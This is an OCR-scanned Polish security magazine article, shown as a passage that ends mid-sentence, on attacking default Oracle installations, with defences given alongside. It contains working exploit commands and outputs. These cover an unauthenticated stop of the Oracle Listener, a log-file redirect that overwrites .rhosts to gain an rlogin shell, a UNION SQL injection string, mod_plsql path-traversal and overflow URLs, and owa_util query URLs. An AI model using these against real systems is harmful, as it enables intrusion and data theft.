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Oracle z punktu

widzenia intruza

rodukty Oracle dominujg na rynku
produktéw bazodanowych. Na tej
platformie dziata wiele serwisow
zwigzanych z udostepnianiem danych
(réwniez przez Internet). Bazy te s3 tez niezwykle
popularne w zastosowaniach korporacyjnych.
Hasto marketingowe Oracle w roku 2002
brzmiato: Oracle - The Unbreakable. Czy
rzeczywiscie tak jest? W ponizszym artykule
sprobuje przyblizy¢ zagrozenia zwigzane ze
standardowymi instalacjami produktéw Oracle.
Juz na wstepie chce zaznaczyé, ze nie
zamierzam odsadzaé firmy Oracle od czci i
wiary, potepia¢ posunie¢ marketingowych i
sugerowa¢ ze DBMS Oracle jest niebezpieczny
czy tez dziurawy jak przystowiowe rzeszoto. Moim
celem jest wykazanie, ze kazdy produkt jest w
wiekszym lub mniejszym stopniu narazony na
btedy programistéw i projektantéw, niezaleznie
od tego co twierdzg hasta na sztandarach.
Oracle 9i to dobry produkt bazodanowy, Swiadczy
o tym chociazby udziat w rynku, jednak nawet tak
duzym firmom i tak renomowanym produktom
zdarzajg sie wpadki. Nalezy o tym pamieta¢ i nie
ufaé bezgranicznie hastom reklamowym. Nie bez
kozery motto Narodowej Agencji Bezpieczeristwa

USA brzmi ufamy Bogu - wszystko inne
sprawdzamy.
Wszystkie  opisywane  btedy  dotyczg

instalacji standardowej. Da sie ich uniknagé
stosujgc poprawki i zalecenia producenta oraz
eliminujac zbedng funkcjonalnos¢ w instalacjach
produkcyjnych.

Pierwsza czeS¢ artykutu bedzie dotyczyé
atakow mozliwych do przeprowadzenia
z sieci lokalnej. Skupie sie gtéwnie na

Autor jest wspdtwiascicielem firmy SecuRing,
koordynatorem  prac zespotu i  osobg
odpowiedzialng za sporzqdzanie raportéw.
Sze$¢ lat doswiadczenia praktycznego w
zakresie bezpieczenstwallT. Prelegent nalicznych
konferencjach poswieconych bezpieczenstwu
IT (m.in. CERT Secure, PLOUG/Oracle, Open
Source Security, Windows Security). Prowadzi
rubryke  poswiecong bezpieczenstwu < w
Biuletynie Polskiej Grupy Uzytkownikéw Systemu
Oracle. Uprzednio koordynowat prace zespotow
konsultantéw bezpieczenstwa firm ABA i BSI.
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Zawodowo nie zajmuje sie administracjg
serweréw Oracle. Moja praca wigze sie raczej
Z analizowaniem bezpieczenstwa systeméw IT
(testy penetracyjne, przeglady konfiguracji). Z
tego wzgledu prezentowany materiat przyjmuje
raczej punkt widzenia atakujgcego system niz
administratora. Artykut jest podsumowaniem
ponad dwuletnich doSwiadczen w testowaniu
bezpieczenstwa systemoéw Oracle. Wiekszosé
informacji pochodzi ze Zrédet powszechnie
dostepnych w Internecie.

niedoskonatoSciach serwisu Oracle Listener. W
drugiej czeSci opisze kilka zagrozen zwigzanych z
serwerami aplikacji internetowych zbudowanych
w oparciu o Oracle. CzeS¢ ta bedzie dotyczyé
gtéwnie modutéw serwisu Apache, ktéry wchodzi
w sktad rozwigzan aplikacyjnych Oracle.

Troche historii
Produkty firmy Oracle przez wiele lat byty
uwazane za aplikacje nie posiadajgce znaczacych

btedéw  zwigzanych z  bezpieczernstwem.
Opinia ta  wynikata  najprawdopodobniej
Z niklego zainteresowania badaczy tymi

produktami, co znowu byto spowodowane ich
niska dostepnoscig. Zeby uzyskaé dostep do
petnych wersji systeméw DBMS firmy Oracle
nalezato kupi¢ stosunkowo drogie licencje.
Sprawy przyjety inny obrét, gdy Oracle zaczeto
udostepniaé petne wersje swoich produktéw w
Internecie. Wersje te mozna stosowaé do celéw
deweloperskich i testowych. Od okoto dwéch lat
widaé znaczne zainteresowanie tymi produktami
wsréd specjalistéw zajmujgcych sie testowaniem
bezpieczenstwa aplikacji i wyszukiwaniem w nich
bteddw.

Przyniosto to tez znaczacg poprawe
w podejSciu  producenta do problemdéw
bezpieczefistwa samego kodu wchodzgcego
w sktad produktéw Oracle. Wczesniej — Oracle
pojmowato bezpieczenstwo tylko przez pryzmat
mechanizméw zabezpieczajgcych dane w samej
aplikacji oraz zwiekszajacych ich dostepnosé.

W roku 2002 Oracle opublikowato ponad 20
informacji o zagrozeniach w swoich produktach.
Ponadto standardowe dystrybucje Oracle
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Listing 1. Pozyskanie informacji o systemie — komenda
TNS status

tnscmd status -h 10.1.1.100 -p 1521

sending (CONNECT_DATA=(COMMAND=status))
to 10.1.1.100:1521
connect
writing 89 bytes
reading
e [ P @ ..iiiiiin. Jovevnnnn
DESCRIPTION=
TMP=
VSNNUM=135291648
ERR=0
ALTAS=LISTENER
SECURITY=0FF
VERSION=TNSLSNR for Solaris:

Version 8.1.6.3.0 - Production
START_DATE=28-0CT-2002 16:22:44
SIDNUM=1
LOGFILE=/opt/oracle/8i/network/Tog/Tistener.log
PRMFILE=/opt/oracle/8i/network/admin/1istener.ora
TRACING=0ff
UPTIME=379500951

SNMP=0FF

zawierajg w sobie komponenty Open Source — takie jak
np. Apache — ktdre tez nie sg wolne od btedoéw.

Oracle Listener

Na poczatek garsé faktéw na temat oprogramowania
Oracle Listener. Jest to komponent odpowiedzialny przede
wszystkim za komunikacje miedzy klientami a serwerem
Oracle (réwniez za komunikacje miedzyserwerowa).
Jest to element kazdej instalacji Oracle DBMS. Listener
jest procesem dziatajgcym na serwerze bazodanowym,
ktérego zadaniem jest przyjmowanie zlecen od klientéw.
W systemach uniksowych jest to proces 0 nazwie tnsisnr,
a w systemach Windows odpowiedni serwis. Listener
nastuchuje zlecen na porcie TCP 1521. Do komunikacji
miedzy Oracle Client a Listenerem jest wykorzystywany
protokét TNS (Transparent Network Substrate).

Najwieksze zagrozenia zwigzane z Oracle Listener nie
wymagajg od atakujgcego zadnej wiedzy tajemnej. Nie sg
to klasyczne przepetnienia bufora wejSciowego lub inne
typowe btedy popetniane przez programistow (aczkolwiek
takie tez w nim mozna znalez¢). Najwieksze stabosci
Listenera prawdopodobnie wynikaja ze ztych zatozen
przyjetych podczas projektowania tego oprogramowania.
Stowem: It’s not a bug — It’s a feature. Przejdzmy jednak
do konkretow.

Do atakowania Oracle Listenera mozna zastosowac
prosty skrypt perl o nazwie tnscmd. Mozna go uzyskaé pod
adresem http.//www.jammed.com/~jwa/hacks/security/
tnscmd/tnsecmd. Skrypt ten pozwala na wydawanie
komend protokotu TNS.
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Uzyskanie informacji o systemie
Standardowo Oracle Listener przyjmuje komendy od
kazdego i nie wymaga zadnej autoryzacji. Moze to
prowadzi¢ do wielu naduzyé. Po pierwsze, dowolny
uzytkownik sieci, ktéry jest w stanie nawigza¢ komunikacje
z portem listenera 1521 TCP, moze uzyska¢ bardzo duzo
informacji o systemie. Odpowiadajg za to komendy version
i status protokotu TNS:

tnscmd version -h adres_serwera -p 1521
tnscmd status -h adres_serwera -p 1521

Listener odpowiada na te zapytania zdradzajgc m.in.:

e doktadng wersje Oracle,

e rodzaj systemu operacyjnego,

e czas od uruchomienia instancji Oracle,

e Sciezki do plikéw z logami,

e opcje listenera (m.in. stan opcji security),

e rodzaj serwisbw Oracle obstugiwanych
Listenera,

e argumenty wywotania,

e kompletne srodowisko (wartosci wszystkich zmiennych
systemowych), w jakim zostat wywotany listener.

przez

Przyktad pozyskania niektérych z tych informacji znajduje
sie na Listingu 1.

Dane te moga postuzy¢ do przygotowania skutecznego
ataku przeciwko systemowi operacyjnemu lub przeciwko
samemu oprogramowaniu Oracle.

Prosty atak DoS

Standardowa konfiguracja umozliwia trywialny atak denial
of service na Oracle Listener. Opcja SECURITY=0OFF
(patrz Listing 1) méwi o tym, ze dla Listenera mozna
wydawaé komendy bez jakiegokolwiek uwierzytelnienia.
Standardowo dostep administracyjny do listenera nie
jest zabezpieczony hastem, wiec potencjalny intruz moze
wydaé komende:

tnscmd stop -h oracleserwer -p 1521

Listener postusznie zakorczy swoje dziatanie. Jest to
typowy, bardzo trywialny atak Denial of Service (DoS).
Intruz nie zdobyt dostepu do systemu ani do danych, ale
skutecznie uniemozliwit korzystanie z systemu.

Przed tego typu atakiem mozna sie zabezpieczyé
ustawiajgc opcje security w listenerze i hasto na dostep
do polecen administracyjnych.

Nadpisanie dowolnego pliku

Proces listenera (tnsisnr) zapisuje wszystkie zdarzenia w
swoim logu. Potozenie tego logu konfiguruje administrator.
Mozna je odczyta¢ zdalnie przez opisang poprzednio
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Listing 2. Nadpisanie dowolnego pliku do ktérego ma dostep uzytkownik oracle (w tym wypadku jest to plik .rhosts w

katalogu domowym uzytkownika oracle)

wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd “

(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=Tog_f1ile)(ARGUMENTS=4)

(SERVICE=LISTENER)

sending

(VERSION=1) (VALUE=/home/oracle/.rhosts)))"

(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=) (HOST=) (USER=))(COMMAND=Tog_file) (ARGUMENTS=4) (SERVICE=LISTENER)

(VERSION=1)(VALUE=/home/oracle/.rhosts)))
to oracleserver:1521

writing 205 bytes

reading

oliflo 55000 . .a(DESCRIPTION=(TMP=) (VSNNUM=135294976) (ERR=0) (COMMAND=To0g_file) (LOGFILENAME=/home/oracle/.rhosts))

komende protokotu TNS - status. Na Listingu 1 jest to
wartos¢ zmiennej LOGFILE. Co ciekawsze — za pomoca
odpowiedniego zlecenia TNS potozenie pliku logowania
mozna zmieniaé. Na dodatek, Listener Slepo przyjmuje
kazdg wartosé, niezaleznie od tego, czy wyspecyfikowany
plik istnieje (w takim wypadku zostanie nadpisany), czy tez
nie (w takim wypadku zostanie stworzony). W rezultacie
— intruz, ktéry moze komunikowaé sie z portem 1521
serwera Oracle, ma mozliwos$¢ nadpisania badzZ utworzenia
dowolnego pliku, do ktérego ma uprawnienia proces
Oracle Listener. Standardowo na systemach uniksowych
jest to uzytkownik oracle, a na systemach Microsoftu
uzytkownik LOCAL_SYSTEM (sic!). W ten sposéb intruz
moze zniszczy¢ pliki z danymi bazy, pliki konfiguracyjne czy
tez same binaria Oracle.

Skrypt tnscmd ma mozliwoS¢é bezposredniego
wpisywania ciggdw znakow, ktére wejdg w sktad zlecenia
TNS. Majgc pewng wiedze o tym protokole mozna
skonstruowaé zlecenie zmiany pliku logowania. Przyktad
— przekierowanie logéw do pliku /home/oracle/.rhosts
— jest pokazany na Listingu 2.

Przyktadowy scenariusz ataku —
przejecie kontroli nad baza
Po przekierowaniu logéw do dowolnego pliku wszystkie
informacje logowane przez Oracle Listener beda
zapisywane do tego pliku. Listener nie zapisuje do logéw
Zbyt wiele informaciji, przyktadowo nie zapisuje adresu
IP ani nazwy hosta, z ktérego nadeszto potgczenie. W
zZwigzku z tym intruz atakujgcy Oracle jedng z powyzszych
metod nie zostanie ujawniony przez logi listenera. W logu
sg za to zapisywane sg wszystkie informacje o btedach,
wraz z cytatem nieprawidtowej komendy. Umozliwia to
wpisanie do pliku pozgdanej przez intruza informacji, co w
pewnych warunkach moze prowadzi¢ do przejecia kontroli
nad systemem.

Ponizej przedstawie scenariusz ataku opierajgcy sie
na wpisaniu odpowiedniej informacji do pliku .rhosts i
wykorzystaniu serwisu rlogin. Uwaga: ponizszy scenariusz
nalezy traktowac jedynie jako przyktad. Zaprezentowane tu
btedy umozliwiajg o wiele szersze mozliwosci penetrowania
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systemow.

Najpierw intruz wydaje za pomocag programu tnscmd
polecenie TNS nakazujgce listenerowi na serwerze
oracleserwer zmiane pliku logowania na /home/oracle/
.rhosts (Listing 2).

Jak wida¢ na dalszej czesci listingu, listener na
serwerze oracleserwer wykonat to zlecenie. Od tej pory
wszystkie zapisy o dziataniu listenera bedg ptynaé do pliku
/home/oracle/.rhosts .

W systemach uniksowych w pliku .rhosts w katalogu
domowym uzytkownika zapisane sg zdalne konta i nazwy
badZ adresy IP hostéw, ktére moga sie tgczy¢ do tego
systemu bez dalszego uwierzytelniania przez serwisy
rlogin, rsh, rcmd. Celem intruza jest wpisanie do tego pliku
swojego loginu i adresu IP swojego hosta.

Jak juz wspominaliSmy, listener zapisuje do logéw
informacje o btedach, wraz z cytatem nieprawidtowej
komendy. Mozna to wykorzysta¢ to do wpisania swojego
IP i nazwy uzytkownika do pliku .rhosts (Listing 3). Wazne
jest, zeby wpisywane dane byty umieszczone w osobnej
linii.

Jak widac¢ listener zwrécit komunikat o btedzie,
jednakze wpisat do swoich logéw, a wiec do pliku /
home/oracle/.rhosts, cata linie z btedng komendg. W tym
momencie plik /home/oracle/.rhosts (a wiec obecny log

Listing 3. Wykorzystanie listenera do wpisana swoich
danych do dowolnego pliku

wojdwo@behemot$ ./tnscmd -h oracleserwer \
--rawcmd " (CONNECT_DATA=((
10.1.1.223 wojdwo

sending (CONNECT_DATA=((

10.1.1.223 wojdwo

to oracleserwer:1521

writing 93 bytes

reading

.$.....". . (DESCRIPTION=(ERR=1153) (VSNNUM=135294976)

(ERROR_STACK=(ERROR=1 (CODE=1153) (EMFI=4)

(ARGS="(CONNECT_DATA=((.10.1.1.223 wojdwo’)) (ERROR=(C
0DE=303) (EMFI=1))))
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Listenera) wyglada tak jak na Listingu 4.

Linie 10.1.1.223 intruz umiescit w pliku
.rhosts wykorzystujgc niedoskonatosci Oracle Listener.
Zostanie ona prawidtowo zinterpretowana przez system,
w rezultacie intruz moze zalogowa¢ sie zdalnie jako
uzytkownik oracle, bez zadnego uwierzytelnienia. Listing
5 ilustruje zdalne potgczenie z serwerem oracleserwer i
uzyskanie uprawnien uzytkownika oracle.

Podsumowujac: zdalnie dziatajgcy intruz zdotat,
odpowiednio manipulujgc serwisem Oracle Listener,
0siggnaé uprawnienia uzytkownika oracle w systemie
operacyjnym.

Oczywiscie ten przyktadowy scenariusz zadziata tylko
wtedy, gdy system operacyjny udostepnia mozliwosé
zdalnego logowania sie przez rlogin oraz korzysta z
plikéw .rhosts do autoryzowania zdalnych uzytkownikéw
(standardowa konfiguracja wiekszosci unikséw). Tak jak
powiedziatem wczesniej — jest to tylko przyktad. Mozna
skonstruowaé¢ podobny atak manipulujgcy kluczami
ssh i w rezultacie, dajgcy dostep do systemu via ssh.
Mozna réwniez przeprowadzi¢ podobne ataki na Oracle
dziatajgce na platformach Windows. Bytyby one o wiele
skuteczniejsze i groZniejsze nie tylko dla bazy danych ale
tez dla samego systemu, z uwagi na to, ze intruz uzyskatby
uprawnienia Local System.

Powyzsze zagrozenia sg tym bardziej godne uwagi, ze
wystepujg po dzi§ dzien, we wszystkich wersjach Oracle
zawierajgcych Oracle Listener, tgcznie z najnowsza,
chociaz zagrozenie jest znane od 2000 roku. tata
wypuszczona przez Oracle (#1361722) wprowadza do
pliku konfiguracyjnego Listenera (listener.ora) dodatkowy
parametr — ADMIN_RESTRICTIONS. Wigczenie tego
parametru uniemozliwia dynamiczng zdalng rekonfiguracje
listenera. Jednak — dla zachowania zgodnosci wstecz
— standardowo parametr ten jest wytgczony.

wojdwo

Inne ciekawe btedy Listenera

Jak juz wspomniatem — powyzej zaprezentowane btedy
sg o tyle ciekawe, ze nie sg przeoczeniem koderéw, lecz
btedami popetnionymi w fazie projektowania produktu.
Oczywiscie, Oracle Listener nie jest wolny od bardziej
tradycyjnych zagrozei wigzgcych sie np. z brakiem
walidacji danych wejsciowych. Informacje o innych btedach
sg dostepne m.in. na stronie http://otn.oracle.com/

Listing 4. Zawartosé pliku /home/oracle/.rhosts po
nadpisaniu go przez Oracle Listener

12-SIE-2002 15:44:05 * Tog file * 0

12-SIE-2002 15:44:37 * service_register * oral * 0
12-SIE-2002 15:44:58 * 1153

TNS-01153: Failed to process string: (CONNECT_DATA=((
10.1.1.223 wojdwo

NL-00303: syntax error in NV string
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Listing 5. Rezultatem ataku jest mozliwos¢ zdalnego
zalogowania sie do systemu z uprawnieniami uzytkownika
Oracle

wojdwo@behemot$ rlogin -1 oracle oracleserwer
Linux oracleserwer Mon Aug 12 15:46:15 EST 2002
1686 unknown

oracle@oracleserwer:~$ id
uid=1001(oracle) gid=103(oinstall)
groups=103 (oinstall),104(dba),105(oper)

deploy/security/alerts.htm oraz w prowadzonym przeze
mnie Biuletynie Bezpieczeristwa Oracle, ktéry ukazuje sie
w gazetce Polskiej Grupy Uzytkownikéw Systemu Oracle.
Jest ona dostepna on-line pod adresem podanym w
Ramce W Sieci.

Ponizej przedstawie dwa zagrozenia, ktére wydaty
mi sie szczegblnie ciekawe. Oba sg poprawione przez
producenta i istniejg na nie odpowiednie taty.

Ciekawym btedem (przyktad jego wykorzystania
przedstawia Listing 6) popetnionym przez programistow
tworzacych Oracle Listener jest btad pozwalajgcy na
ujawnienie informacji przekazywanej w poprzednim
potaczeniu innego uzytkownika z listenerem. Btad
programisty polega prawdopodobnie na tym, ze bufor, do
ktérego sa przyjmowane komunikaty, nie jest kazdorazowo
czyszczony. W rezultacie ustawiajgc w odpowiednim
parametrze wieksza niz w rzeczywistosci dtugosé
wydawanej komendy TNS (oracleserwer --cmdsize 30),
mozna odczytaé¢ czes¢ komendy wydanej do listenera
przez poprzedniego uzytkownika (COMMAND=status ).

Inny ciekawy btad wigze sie z komendg SERVICE_
CURLOAD. Do wystania tej komendy mozna wykorzystaé
program tnscmd:

tnsemd -h 192.168.0.200 --rawemd "(CONNECT_
DATA=(COMMAND=SERVICE_CURLOAD))"

W rezultacie proces listenera (tnslsnr) konsumuje 99%
czasu procesora. Znowu — bardzo trywialny atak denial
of service.

Listing 6. Manipulacja protokotem TNS; w rezultacie
listener zdradza fragment poprzedniej komendy

wojdwo@behemot$ ./tnscmd --rawemd " " -h oracleserwer
--cmdsize 30

sending to oracleserwer:1521
Faking command length to 30 bytes
writing 59 bytes
reading

....... "...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=(CODE=1153) (EMFI=4)
(ARGS="CONNECT_DATA=(COMMAND=status) "))
(ERROR=(CODE=303) (EMFI=1))))
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Oracle Listener — uwagi
Przedstawione powyzej ataki zwigzane z Oracle Listener
wymagajg oczywiscie zeby intruz mégt komunikowaé
sie z tym procesem. Musi on mie¢ mozliwoS¢ wysytania
pakietéw do portu 1521 /tcp. Z tego tez powodu wiekszosé
administratoréw ignoruje te zagrozenia, poniewaz chronig
przed nimi firewalle, ktére w wiekszosci wypadkéw blokuja
ruch naten port. Jak w rzeczywistosci wyglgda ograniczanie
dostepu do portéw serweréw bazodanowych mogliSmy sie
przekonaé pod koniec stycznia 2003 przy epidemii robaka
Slammer (Sapphire), atakujgcego serwery MS-SQL. Poza
tym wiekszos¢ intruzéw nie atakuje przez frontowe drzwi.
Zamiast prébowaé zaatakowaé bezposrednio serwer
Oracle, duzo tatwiej jest przeja¢é kontrole nad jakas
stacjg roboczg w atakowanej sieci i stgd bez wiekszych
problemoéw przeprowadzi¢ atak na Oracle Listener.
Oczywiscie istniejag mozliwosci przynajmniej
czesSciowego zabezpieczania sie przed powyzszymi
zagrozeniami. Podstawowym sposobem ochrony jest
wigczenie w listenerze opcji security i ustawienie hasta
dostepu. Poza tym mozna limitowaé adresy IP, ktére moga
tgczyé sie do listenera (dyrektywy tcp.validnode_checkingi
tcp.invited _nodes) oraz zabronié dynamicznej modyfikaciji
plikéw konfiguracyjnych (np. logdw) przez wtgczenie opcji
ADMIN_RESTRICTIONS.

Apache a'la Oracle

W ostatnich latach bardzo popularng formg udostepniania
informacji staty sie serwisy WWW potgczone z bazami
danych. W takiej architekturze po stronie serwera WWW
uruchamiane sg pewne metody dynamiczne (np. PHP, ASP,
JSP), ktére pobierajg dane z bazy danych i generuja strony
WWW. Catosé tworzy aplikacje webowa. Klientem takiej
aplikacji jest oczywiscie zwykta przeglagdarka WWW. Oracle
i inni producenci produktéw bazodanowych dostrzegli ten
trend i uzupetnili swoje produkty o mozliwos¢é dostepu do
danych przez przegladarki WWW. W przypadku Oracle
serwerem WWW jest Oracle HTTP Listener. Jest to drugi
(poza standardowym Listenerem) sposéb komunikaciji
z serwerem Oracle, a wiec rowniez potencjalne miejsce
atakéw z zewnatrz systemu.

Oracle HTTP Listener to dobrze znany serwer Apache
serii 1.3.x z dopisanymi przez Oracle modutami, ktére
integrujag go z Oracle DBMS. Kod wykonywany po stronie
serwera moze by¢ tworzony przy pomocy wielu réznych
metod. Najwazniejsze to:

e PL/SQL - jezyk proceduralny Oracle; za jego
interpretacje w przypadku skryptéw server-side
odpowiada modut mod_plsql.

e Skrypty JSP i serwlety Java — obstugiwane przez JServ
(mod_jserv statycznie zlinkowany z Apache) lub Oracle
Containers for Java (OC4J). Mozna powiedzieé, ze jesli
chodzi o serwery aplikacjito Oracle stawia na Jave.
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W zwigzku z tym metody te sg rozszerzone o rézne
ciekawe mozliwosci, np. XSQL - integracja z XML, czy
tez SQLJ — bezposrednie wykonywanie zapytan SQL z
wnetrza skryptéw Java.

e |nne tradycyjne metody, jak np. skrypty CGI czy Perl
(mod_cgi i mod_perl sg standardowo wtgczone).

Ponadto Oracle udostepnia cate mnéstwo technologii
uzupetniajacych, takich jak zaawansowane buforowanie
stron dynamicznych (Oracle Web Cache), framework
do tworzenia stron portalowych (Oracle Portal),
implementacje WebDAV i inne.

Nietrudno sie domysli¢, ze wiekszos¢ z tych modutéw
dodatkowych posiada bardzo dtuga i szybko rozwijajgca sie
liste zagrozen z nimi zwigzanych. Jest to sytuacja typowa
dla oprogramowania, ktére jest bardzo szybko rozwijane.
Oczywiscie — w standardowej instalacji jest wtaczona
wiekszoS¢ z tych rozszerzen. Jak wskazuje praktyka,
mato ktdra instalacja produkcyjna ma konfiguracje mocno
odbiegajgcag od standardowej, a administratorzy z braku
wiedzy o wszystkich zaawansowanych komponentach,
wolg je zostawic¢ niz naraza¢ sie na destabilizacje serwera.
Potwierdza sie tu stara zasada, ze bezpieczenstwo
jest odwrotnie proporcjonalne do udostepnianej przez
oprogramowanie funkcjonalnosci.

Ponizej przedstawie kilka przyktadéw ciekawych
atakéw wykorzystujacych luki w modutach Oracle HTTP
Listener. Wszystkie opisane zagrozenia sg usuwalne
przez natozenie odpowiednich tat producenta. Do$s¢
charakterystyczna jest jednak ich trywialno$¢ oraz to, ze
praktycznie wszystkie zostaty ujawnione na przestrzeni
ostatniego roku.

Ujawnienie kodu zrédtowego
skryptow JSP

Java Server Pages (JSP), to jedna z metod, za pomocag
ktérych serwer moze generowaé strony WWW z
zawartoScig dynamiczng, ktérg stanowig informacje
pobrane z bazy danych. Gdy klient (przeglagdarka WWW)
poprosi o strone o rozszerzeniu JSP, to standardowo
serwer wyszukuje odpowiedni kod Java, kompiluje go i
wykonuje. Rezultat wykonania w postaci strony HTML jest
zwracany do przegladarki. Podczas tego procesu w Sciezce
/_bages serwera WWW tworzone sa pliki tymczasowe.
Jeden z takich plikbw — z rozszerzeniem java — zawiera kod
Zrédtowy wykonywanego skryptu.

W standardowej konfiguracji Apache
rozpowszechnianego z Oracle katalog / pages jest
udostepniany przez serwer, w zwigzku z tym intruz moze
odczyta¢ kod Zrédtowy stron JSP obstugiwanych przez
serwer.

Przyktad:

Najpierw nalezy uruchomié atakowany skrypt JSP, po
to by serwer pobrat kod i go skompilowat:

Software Extra! Nr 1



http://10.1.1.100/demo/sq1/bean/ConnBeanDemo. jsp
Teraz mozna odczytaé Zrodto skryptu JSP odwotujac sie do
odpowiedniego pliku w Sciezce / pages:

http://10.1.1.100/_pages/_demo/_sql/_bean/_
ConnBeanDemo. java

Zeby obronié sie przed tym zagrozeniem wystarczy zabronié
w konfiguracji Apache dostepu do Sciezki / pages.
Wszelkie skrypty JSP powinny tez by¢é przechowywane
w postaci prekompilowanej. W ten sposé6b uniknie sie
potencjalnie niebezpiecznej koniecznosci kompilowania
skryptéw w momencie dostepu do nich, co przy okazji
poprawi tez wydajnos¢.

Skrypty demo

Wiele zagrozen wigze sie z umieszczonymi w standardowej
instalacji Oracle skryptami demonstrujgcymi
funkcjonalno$é Oracle jako serwera aplikacji. Skrypty te
sg umieszczone w Sciezce /demo. Wiele z tych przyktaddw
nie jest niestety dobrymi wzorcami do nasladowania,
zwtaszcza jeSli chodzi o zasady bezpiecznego
programowania. Duza ilos¢ skryptéw demonstrujgcych
pobieranie danych z bazy na podstawie zmiennych
pochodzgcych od uzytkownika jest podatna na ataki typu
SQL injection. Dobra praktyka administracyjna nakazuje
usuniecie z serweréw produkcyjnych wszelkiej zbednej
funkcjonalnosci i zawartoSci, jednak pozostawianie
skryptéw demo jest niestety spotykane bardzo czesto
w instalacjach produkcyjnych (a wrecz nagminnie w
serwerach deweloperskich wystawionych do Internetu).

Przyktadem niech bedzie skrypt /demo/sql/tag/
sample2.jsp. Skrypt ten jest interfejsem do tabeli
zawierajgcej dane o zarobkach w pewnej fikcyjnej firmie.
Skrypt wysSwietla w przegladarce formularz WWW, w
ktérym uzytkownik wpisuje zapytanie. Np. wpisanie
sal=800 powoduje wykonanie zapytania select ename,sal
from scott.emp where sal=800. Problem polega na
tym, ze zapytanie to jest konstruowane przez proste
wklejenie ciggu znakéw pobranego od uzytkownika, bez
zadnej walidacji. Intruz moze wykorzysta¢ ten skrypt do
przeczytania dowolnych danych z bazy, do ktérych ma
dostep uzytkownik z jakiego uprawnieniami dziata skrypt
sample2.jsp (standardowo — uzytkownik SCOTT) — réwniez
danych systemowych. Przyktadowo — wpisanie ciggu
sal=800 union select username,userid from all_users
spowoduje wykonanie zapytania select ename,sal from
scott.emp where sal=800 union select username,userid
from all_users .

Jesli juz jestesmy przy atakach technikg SQL-injection,
to warto wspomnieé¢, ze w wypadku Oracle nie jest
mozliwe doklejanie po znaku Srednika osobnej komendy
SQL, tak jak to jest w przypadku PostgreSQL czy tez MS-
SQL. Powszechnie stosowang technikg jest (tak jak w
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powyzszym przyktadzie) doklejenie swojej czeSci zapytania
przez UNION SELECT.

Interfejsy administracyjne

Stosunkowo proste ale bardzo skuteczne ataki mozna
réwniez przeprowadza¢ za pomocag interfejsow do
administrowania przez WWW. W standardowej instalacji
Oracle spora czesé stron administracyjnych nie wymaga
uwierzytelnienia (sic!). URL-e kilku z takich stron
przedstawione sg ponizej:

e http://10.1.1.100/pls/admin_/gateway.htm,
e http://10.1.1.100/0procmgr-status,
e http://10.1.1.100/servlet/Spy.

Modut mod_plsql
Module Apache mod_plsql stuzy do interpretowania
na serwerze WWW kodu PL/SQL, ktéry jest natywnym
jezykiem baz Oracle. W module tym ujawniono wiele
klasycznych bteddéw.

Jednym z nich jest przepetnienie bufora wejSciowego
w skrypcie stuzagcym do wysSwietlania pomocy. Wystanie
Zlecenia typu:

http://10.1.1.100/p1s/simpledad/admin_/help/
AAAAAAAA. ... (>1000 znakédw)

powoduje btgd segmentacji w procesie obstugujgcym
to zlecenie. Za pomocg techniki buffer-overflow mozliwe
jest wykonanie kodu intruza na serwerze, w kontekscie
procesu serwera WWW (httpd).

Innym atakiem, na jaki jest podatny mod_plsql,
jest zastosowanie techniki double decode. Technika ta
polega na przestaniu do serwera zlecenia zawierajgcego
znaki specjalne (np. ukosnik) dwukrotnie zakodowane
heksadecymalnie. W rezultacie mozliwe jest obejscie
restrykcji serwera i odczytanie dowolnego pliku badZ
katalogu w przestrzeni serwera WWW.

Przyktad:

Odczytanie pliku konfiguracyjnego plsql.conf:

http://10.1.1.100/p1s/simpledad/admin_/help/
..%255CpT1sql.conf

Wykorzystanie standardowych
pakietow PL/SQL

W sktad standardowej instalacji Oracle wchodzi dosé
pokaZna biblioteka zawierajgca rézne pakiety procedur
PL/SQL. W starszych wersjach Oracle wszystkie pakiety
sg udostepnianie réwniez przez Internet, za pomoca
mod_plsgl. Sktadnia wywotania procedury PL/SQL przez
serwer WWW wyglgda nastepujgco:

http://ip.ip.ip.ip/pls/DAD/nazwa_pakietu.nazwa_procedury

www. softwaremedia.cz
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DAD (ang. Database Access Descriptor) to struktura
opisujgca spos6b taczenia sie do bazy. W standardowej
instalacji jest dostepny przyktadowy deskryptor o nazwie
simpledad.

Ponizej przedstawie przyktad ataku za pomocag
procedur z pakietu owa_util.

e Sprawdzenie dziatania pakietu owa_ util:

http://10.1.1.100/p1s/simpledad/owa_util.signature

e Ujawnienie kodu zrédtowego dowolnego pakietu PL/
SQL (np. file_util):

http://10.1.1.100/p1s/simpledad/owa_util.showsource?cname=
file_util

¢ Wykonanie nieautoryzowanych zapytan do bazy:

http://10.1.1.100/p1s/simpledad/owa_util. Tistprint?p_t
heQuery=select%20*%20from%20all_
users&p_cname=&p_nsize=

Inne potencjalnie interesujgce pakiety PL/SQL to np:

e htp — procedury pozwalajgce na obstuge protokotu
HTTP,

e {cp- procedury obstugi protokotu TCP.; pozwalajg m.in.
na nawigzanie potaczenia zwrotnego (wychodzacego),

e file_util — procedury dostepu do plikbw, umozliwiajg
np. pobranie dowolnego pliku z serwera.

Administrator moze obroni¢ sie przed wykorzystaniem
tych pakietéw przez ustawienie parametru exclusion_list
w pliku konfiguracyjnym wdbsrv.app. W standardowej
konfiguracji Oracle 9i parametr ten jest ustawiony. W
starszych wersjach nie jest on wtgczony.

Odczytanie konfiguracji XSQL za
pomoca servieta XSQLServiet

Plik XSQLConfig.xml zawiera informacje o konfiguracji
rozszerzen XSQL. Miedzy innymi nazwe i hasto
uzytkownika z jakiego uprawnieniami modut XSQL taczy
sie do bazy danych. Plik ten znajduje sie w przestrzeni
serwera WWW, w Sciezce /xsql/lib/XSQLConfig.xml.
Serwer zabrania dostepu do tego pliku a bezposrednia
préba dostepu powoduje zwrécenie komunikatu ,403
Forbidden”. Poniewaz jest to plik XML, to da sie go
odczyta¢ wykorzystujagc standardowo udostepniany
servlet XSQLServlet:

http://10.1.1.100/servlet/oracle.xml.xsql.XSQLServlet/
xsq1/1ib/XSQLConfig.xml
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Aplikacje WWW — uwagi

Powyzsze przyktady atakbw na oprogramowanie
integrujgce baze Oracle z Internetem to jedynie wyboér
kilku bardziej interesujacych metod. W rzeczywistosci lista
jest znacznie dtuzsza.

Mimo wszystko btedy popetnione przez producenta
